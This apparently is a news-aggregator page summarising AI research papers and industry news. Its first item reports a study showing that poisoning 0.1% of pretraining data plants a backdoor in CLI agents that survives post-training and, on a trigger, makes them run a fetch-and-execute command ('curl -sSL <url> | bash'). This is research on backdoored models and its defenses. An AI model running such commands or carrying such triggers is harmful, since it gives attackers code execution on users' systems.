AI Coding Live News

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Xinyan Hu, Pingbang Hu et al. (Anthropic Fellows Program / Anthropic)arxiv.org·
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Anthropic Fellows paper: poisoning 0.1% of pretraining data plants a remote-code-execution backdoor in CLI agents that survives clean SFT, DPO and RL

Researchers from the Anthropic Fellows Program and Anthropic, including Nicholas Carlini and Javier Rando, published "Agentic Backdoors via Pretraining Poisoning" on arXiv. They pretrained three Qwen3-architecture models from scratch at 0.6B, 1.7B and 4B, mixed just 0.1% poisoned documents into the pretraining corpus, and then turned each model into a command-line agent with a fully clean SFT, DPO and GRPO pipeline. The backdoor survived: when the trigger appears, the agent runs a remote-script command like curl -sSL <url> | bash. The 4B model reached a 92.7% Pass@32 attack success rate with an ordinary file-path trigger, while emitting the payload on 0% of clean prompts.

Key Takeaways

  • Poison budget: only 0.1% of a 100B-token pretraining corpus; the attacker needs no access to the model architecture or post-training pipeline (paper)
  • Persistence: the backdoor survives clean SFT, DPO and GRPO (RLVR) post-training and does not lower capability eval scores (paper figures)
  • Success rate: the 4B model hits 92.7% Pass@32 attack success with an ordinary path trigger and 10.5% with a rare-string trigger; payload emission on clean prompts is 0% (paper figures)
  • Scale effect: attack success rises monotonically with model size, and the 4B model stays above zero even at a 0.0005% (1 in 200,000) poison rate
  • Defense: clean data cannot be guaranteed, so the authors point to the action layer, such as sandboxing, least privilege, and allow-lists or human confirmation for risky commands; code is open source (GitHub)
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Meta Unveils Gigawatt-Scale Prometheus Supercluster as Muse Wonder Secures #6 on WebDev Code Arena

Meta officially disclosed its gigawatt-scale AI supercluster Prometheus in New Albany, Ohio, housing hundreds of thousands of frontier GPUs with 85%+ pretraining goodput and 90%+ in reinforcement learning. Powered by this infrastructure, Meta's latest coding flagship Muse Wonder Full surged to #6 globally on LMSYS Code Arena: WebDev with 1726 Elo points (surpassing Claude Sonnet 5.5 and Gemini 4 Argon), lifting Meta to the #3 AI research lab worldwide.

Meta Unveils Gigawatt-Scale Prometheus Supercluster as Muse Wonder Secures #6 on WebDev Code Arena

Key Takeaways

  • Meta unveiled its gigawatt-scale Prometheus supercluster in Ohio with hundreds of thousands of GPUs, delivering 85%+ pretraining goodput
  • Exceeded 90%+ goodput on RL workloads, recording ~47,000 GPU-hours MTBF during Muse Wonder's training cycle
  • Muse Wonder Full scored 1726 Elo on LMSYS Code Arena: WebDev (#6 globally), outperforming Claude Sonnet 5.5 (+16) and Gemini 4 Argon (+48)
  • Elevated Meta to the #3 AI lab worldwide; confirmed Muse Glimmer 30B open weights capable of 4-bit local execution on a single consumer GPU
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Meta details Prometheus, the gigawatt-scale supercluster that trained Muse Wonder: 85%+ pretraining goodput, 90%+ for RL, scaling toward ~1M GPUs

Meta's engineering blog on October 19 gave the first detailed look at Prometheus, the New Albany, Ohio supercluster that trained the Muse family, including Muse Wonder. Phase one is complete with hundreds of thousands of GPUs, and the full build targets about 1 million. Muse Wonder training reached more than 85% goodput in pretraining and more than 90% in reinforcement learning, with a mean time between interruptions of about 47K GPU hours, since raised above 54K by firmware fixes. It runs GB200 NVL72 and GB300 NVL72 platforms, with Vera Rubin NVL72 arriving soon.

Meta details Prometheus, the gigawatt-scale supercluster that trained Muse Wonder: 85%+ pretraining goodput, 90%+ for RL, scaling toward ~1M GPUs

Key Takeaways

  • Scale: phase one trained the Muse family; it has hundreds of thousands of GPUs today, targets about 1 million, and runs across buildings as a single machine.
  • Reliability: Muse Wonder hit 85%+ pretraining goodput and 90%+ for RL; MTBI was about 47K GPU hours and is now above 54K.
  • Interruptions: a mid-2025 peak of nearly 1,000 events per 8K GPUs per day was cut by 99% over a year of engineering.
  • Sparing: each NVL72 rack runs a 64-GPU slice with 8 in-rack spares, plus about 2% spare racks; a 32,768-GPU job needs 523 racks or 37,656 GPUs, about 13% extra.
  • Network: each building fabric links up to 20,736 GPUs, and the aggregation network spans 2 km to over 100 km.
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ETH Zurich and HKU Resolve MoE Routing Exploration Dilemma with MirrorMoE: Adaptive Suppression Counteracts Shared Expert Homogenization

Modern Mixture-of-Experts architectures increasingly combine fine-grained expert segmentation with shared experts. However, ETH Zurich and HKU researchers identified an 'Exploration Dilemma' (arXiv:2610.22353, GitHub: BingcongLi/MirrorMoE): shared experts homogenize token representations, suppressing routing exploration just as fine-grained segmentation combinatorially enlarges the routing space. MirrorMoE resolves this via token-adaptive suppression of unnecessary experts, cutting pretraining perplexity across all model scales.

ETH Zurich and HKU Resolve MoE Routing Exploration Dilemma with MirrorMoE: Adaptive Suppression Counteracts Shared Expert Homogenization

Key Takeaways

  • ETH Zurich and HKU introduced MirrorMoE (arXiv:2610.22353) to solve the exploration dilemma between shared experts and fine-grained routing
  • Employs token-adaptive expert suppression to shrink the combinatorial routing space without adding runtime latency
  • Consistently reduces pretraining perplexity across scales from 100M to 2.4B (slashing 2.4B PPL from 21.17 to 20.50)
  • Lifts downstream benchmark averages by +1.64 points on the 2.4B model, highlighted by a +4.03 pt boost on BoolQ (58.53% vs 54.50%)
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Embodied VLA Perception-Action Breakthroughs: PINT Shared Predictive Intent Hits 15.5% on RoboTwin 2.0-Hard and PAIR Boosts Real-Robot OpenVLA-OFT by 13.6 Points

Addressing the representation gap between high-level VLM semantics, video world models, and low-level control in Vision-Language-Action (VLA) architectures, PINT (arXiv:2610.16355) introduces learnable chunk-level Predictive Intent Tokens to reach 15.5% on RoboTwin 2.0-Hard without embodied pretraining (4.8x over StarVLA's 3.2%). Alongside PAIR (arXiv:2610.09016) and PKU's SimForcing (arXiv:2610.06598), these frameworks bridge perception and action with zero inference overhead.

Embodied VLA Perception-Action Breakthroughs: PINT Shared Predictive Intent Hits 15.5% on RoboTwin 2.0-Hard and PAIR Boosts Real-Robot OpenVLA-OFT by 13.6 Points

Key Takeaways

  • PINT (arXiv:2610.16355) coordinates VLM, video world modeling, and action decoding via shared Predictive Intent Tokens, reaching 15.5% on RoboTwin 2.0-Hard without embodied pretraining (4.8x over StarVLA's 3.2%)
  • PINT achieves 79.5% on LIBERO-Plus and 68% ID / 24% OOD success across 5 real-world bimanual robot tasks, outperforming pretrained Motus (35% / 9%)
  • PAIR (arXiv:2610.09016) uses a training-only Masked Action Autoencoder and Bridge Module with zero inference overhead, lifting OpenVLA-OFT across 7 real-world robot tasks from 51.4% to 65.0% (+13.6 pts)
  • PKU's SimForcing (arXiv:2610.06598) distills simulation motion priors into real-domain robot world models, achieving SOTA video fidelity on Bridge and InternData-A1
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Cambridge Reveals LLMs Encode Knowledge in Hidden States Before the Unembedding Layer Can Express It, While Univ of Copenhagen Isolates Personalized MoE Experts via Crosscoders

Two mechanistic interpretability studies uncover how LLMs express and localize internal knowledge: University of Cambridge researchers (arXiv:2610.21025) introduce parameter-trajectory crosscoding on checkpoint weights, discovering that hidden states encode task knowledge before the unembedding readout matrix learns to express it (reorganizing at 0.4-1.1% of Pythia pretraining), and that raising the readout learning rate closes this gap earlier. Meanwhile, University of Copenhagen researchers (arXiv:2610.22127) apply paired-activation crosscoders to three open-weight Mixture-of-Experts (MoE) LLMs, isolating monosemantic personalization latents and proving via causal interventions that boosting specific routed experts recovers personalized model behavior.

Cambridge Reveals LLMs Encode Knowledge in Hidden States Before the Unembedding Layer Can Express It, While Univ of Copenhagen Isolates Personalized MoE Experts via Crosscoders

Key Takeaways

  • University of Cambridge introduces weight-only parameter-trajectory crosscoding, locating an early 0.4-1.1% pretraining window in Pythia where the unembedding readout reorganizes after hidden states have already encoded task information
  • Pretraining experiments confirm that raising the unembedding readout learning rate causes the readout to develop earlier and closes the capability-expression gap sooner
  • University of Copenhagen applies paired-activation crosscoders to three open-weight MoE LLMs, showing lower polysemanticity than dense models and proving that causally boosting specific experts steers base models toward personalized behavior
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Ollama Cloud Launches US/EU Zero-Data-Retention Hosting for DeepSeek-V4.1-Flash-1017 with Claude Code CLI, While SemiAnalysis Reveals GLM-5.3 Was Built 100% via Post-Training

Ollama launched US- and EU-hosted Ollama Cloud with strict zero data retention and zero training, adding immediate support for DeepSeek-V4.1-Flash-1017 via one-line launch commands for Claude Code and OpenCode alongside Ollama v0.40.6. Meanwhile, SemiAnalysis revealed that GLM-5.3 was built entirely by post-training the previous GLM-5.2 base model without pretraining from scratch, achieving a 'night and day difference' in cybersecurity and agentic capabilities.

Ollama Cloud Launches US/EU Zero-Data-Retention Hosting for DeepSeek-V4.1-Flash-1017 with Claude Code CLI, While SemiAnalysis Reveals GLM-5.3 Was Built 100% via Post-Training

Key Takeaways

  • Ollama Cloud launches US- and EU-hosted zero-data-retention serving for DeepSeek-V4.1-Flash-1017 with one-line ollama launch integrations for Claude Code and OpenCode
  • Ollama v0.40.6 adds GGUF q2_0 tensor support, clef cloud integration, and fixes orphaned runner processes on Windows
  • SemiAnalysis reveals GLM-5.3 was built entirely by post-training the previous model without pretraining from scratch, delivering a 'night and day difference' in cyber capabilities over GLM-5.2
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Learn2Play-Bench: New Benchmark Evaluates How LLM Agents Truly Learn from Interaction in Counterintuitive Worlds

Whether LLM-based autonomous agents truly learn from interactive experience or merely regurgitate memorized knowledge remains a fundamental question in AI research. Most conventional agent benchmarks evaluate tasks (such as writing standard Python or navigating operating systems) heavily represented in pretraining corpora, creating severe data contamination that obscures whether agents are synthesizing new concepts or retrieving memorized patterns. Researchers introduce Learn2Play-Bench (arXiv:2610.08215, code: github.com/liushiliushi/Learn2Play-Bench, site: liushiliushi.github.io/learn2play-bench-website), a novel open-source benchmark constructed around text-based environments with entirely unfamiliar and counterintuitive mechanics. Agents must discover game physics and causal dependencies purely through trial-and-error interactions. The benchmark reveals two critical insights: retaining uncompressed, verbatim interaction logs decisively outperforms LLM-generated rule summaries, and the agent harness scaffolding (managing tool loops, memory, and reflection) exerts a larger impact on final performance than the choice of underlying foundation model.

Learn2Play-Bench: New Benchmark Evaluates How LLM Agents Truly Learn from Interaction in Counterintuitive Worlds

Key Takeaways

  • Learn2Play-Bench open-sourced, establishing counterintuitive rule environments to isolate genuine agent in-context learning from memory
  • Empirical evaluations prove retaining full verbatim logs decisively beats model-generated rule summaries for rule discovery
  • Scaffolding harness architecture impacts exploration success more than foundation model scale, highlighting system-level importance
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Q Labs (Samip Dahal, Bishwas Mandal, Serdar Gülbahar, Akshay Vegesna)@AICoder·
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Dust: Q Labs pretrains transformers without backpropagation, matching or beating backprop at small scale and ~10³–10⁴× more efficient than weight-space ES, MIT-licensed code

Q Labs published Dust (Hacker News front page), a zeroth-order, forward-only method that perturbs activations independently per token so one forward pass evaluates thousands of virtual population members, then estimates gradients from loss changes. Pretraining GPT-style transformers on FineWeb, Dust beats tuned backprop at 100k and 1M tokens and closes the gap with population at 10M and 20M; the largest model tested is 243M parameters. The authors say it is not yet compute-efficient enough to replace backprop.

Key Takeaways

  • At 1M tokens Dust's test loss drops below backprop from ~1k draws; at 100k from a few hundred (paper)
  • 20M tokens: power-law fitted limit 4.431 (95% CI 3.89–4.58) vs backprop 4.633; authors call it loosely constrained trend evidence
  • Efficiency: ~10³–10⁴× better than weight-space ES (EGGROLL); EGGROLL at 256× the population still trails Dust at 64 draws
  • Counterintuitive: at 10M tokens a 243M model beats a 120× smaller one at most population sizes
  • qlabs-eng/dust (MIT): default population 16,384, 8-GPU torchrun for 1M/10M runs, plus a smaller single-GPU setup
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Your Transformer Can Hold Two Thoughts at Once: Evidence of Linear Superposition in LLMs Enables Single-Pass Dual Generation

While Large Language Models rely on deep non-linear activation layers, a groundbreaking mechanistic study titled 'Your Transformer Can Hold Two Thoughts at Once' (arXiv:2609.29845) demonstrates that transformer architectures exhibit fundamental linear superposition. When inputs from two distinct textual contexts are linearly combined in latent space, the model outputs a superposition of the individual next-token probability distributions. The authors reveal this superposition is an intrinsic architectural property that decays during pretraining but can be restored via lightweight fine-tuning. Furthermore, the team introduces a guided decoding procedure that cleanly disentangles superposed representations, enabling the simultaneous generation of two coherent, independent continuations from a single forward pass.

Your Transformer Can Hold Two Thoughts at Once: Evidence of Linear Superposition in LLMs Enables Single-Pass Dual Generation

Key Takeaways

  • Formulates and verifies the Superposition Linearity Hypothesis, proving transformers inherently superpose text streams
  • Demonstrates lightweight fine-tuning eliminates divergence between superposed predictions and averaged distributions
  • Introduces guided decoding to generate two distinct, fully coherent textual continuations from a single forward pass
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Omni-IO Skills: Plug-and-Play Agent Harness Makes Existing Models Omni-Native Across 7 Modalities via Execution Graphs

While general-purpose agents exhibit strong long-horizon reasoning, enterprise workflows require manipulating seven distinct artifact modalities: text, images, audio, video, structured documents, 3D meshes, and code. Pretraining native omni-foundation models from scratch is economically prohibitive, while haphazard multi-tool integration triggers state desynchronization and intermediate asset sprawl across turns. Researchers from the National University of Singapore (NUS) and S-Lab introduce Omni-IO Skills (arXiv:2609.31847, ~300 upvotes on Hugging Face). As a modular agent harness, it organizes multimodal operations into Declarative Execution Graphs paired with a persistent Asset Registry, orchestrating 27 hierarchical skills across 38 tasks. Evaluated on UniM-90, the harness elevates input-support rates for GPT-5.6 Sol and Claude Sonnet 5 from ~40% to 100%, and lifts semantic quality scores from ~27 to over 77.

Omni-IO Skills: Plug-and-Play Agent Harness Makes Existing Models Omni-Native Across 7 Modalities via Execution Graphs

Key Takeaways

  • Pioneers Omni-IO Skills as a plug-and-play agent harness to make existing LLMs omni-native without parameter fine-tuning
  • Integrates 27 hierarchical skills across 7 artifact modalities, structured via Declarative Execution Graphs and persistent registries
  • Elevates GPT-5.6 Sol and Claude Sonnet 5 input-support rates from ~40% to 100%, nearly tripling semantic quality metrics
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EVOKE Elicits Pretrained World Knowledge for Transferable Decision-Making via Fixed-State Goal Diversity

While LLM agents excel in multi-step decision-making, they transfer poorly to unseen environments. Conventional world-model approaches predict future observations, incurring high training overhead and compounding planning errors. EVOKE demonstrates that digital world knowledge is already internalized during pretraining, and failure to transfer stems from single-goal post-training that encourages superficial contextual shortcuts. By holding environment states fixed while ranking candidate actions across diverse counterfactual goals, EVOKE compels policies to elicit internalized world dynamics, boosting generalization across unseen environments.

EVOKE Elicits Pretrained World Knowledge for Transferable Decision-Making via Fixed-State Goal Diversity

Key Takeaways

  • Replaces heavy explicit world models by eliciting internalized causal dynamics via fixed-state goal diversity
  • Improves task success by 14.3 percentage points on unseen environments while cutting redundant exploration steps by 26%
  • Achieves superior generalization using only 40% of the training trajectory data compared to standard single-goal recipes
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Periodic Weak Spots: Phase Sensitivity in Chunked KV-Cache Compression Causes 40% Accuracy Swings

Chunked KV-cache compression reduces the memory and computational footprints of long-context LLMs by condensing contiguous token windows into fewer cache entries at fixed strides. Researchers from Stanford and Renmin University uncover an intrinsic vulnerability: chunking introduces a new relative positional coordinate—a token's phase relative to compression-window boundaries. The study reveals systematic 'phase sensitivity,' where retrieval accuracy for identical facts varies by up to 40 percentage points depending solely on input token phase alignments. Pretraining transformers across various KV compression configurations and conducting causal interventions, the authors demonstrate that standard aggregate benchmark scores mask recurrent blind spots, establishing a new evaluation standard for long-context compression.

Periodic Weak Spots: Phase Sensitivity in Chunked KV-Cache Compression Causes 40% Accuracy Swings

Key Takeaways

  • Discovery of Phase Sensitivity in Chunked KV Cache: Proves that token position relative to compression-window boundaries induces periodic accuracy fluctuations, swinging retrieval rates by up to 40%.
  • Aggregate Benchmarks Conceal Systematic Blind Spots: Conventional needle-in-a-haystack metrics average away severe periodic retrieval drop-offs, misleading production deployments.
  • Causal Evidence of Attention Phase Specialization: Pretraining transformers across compression topologies reveals that gradient dynamics force attention heads to specialize asymmetrically across input phases.
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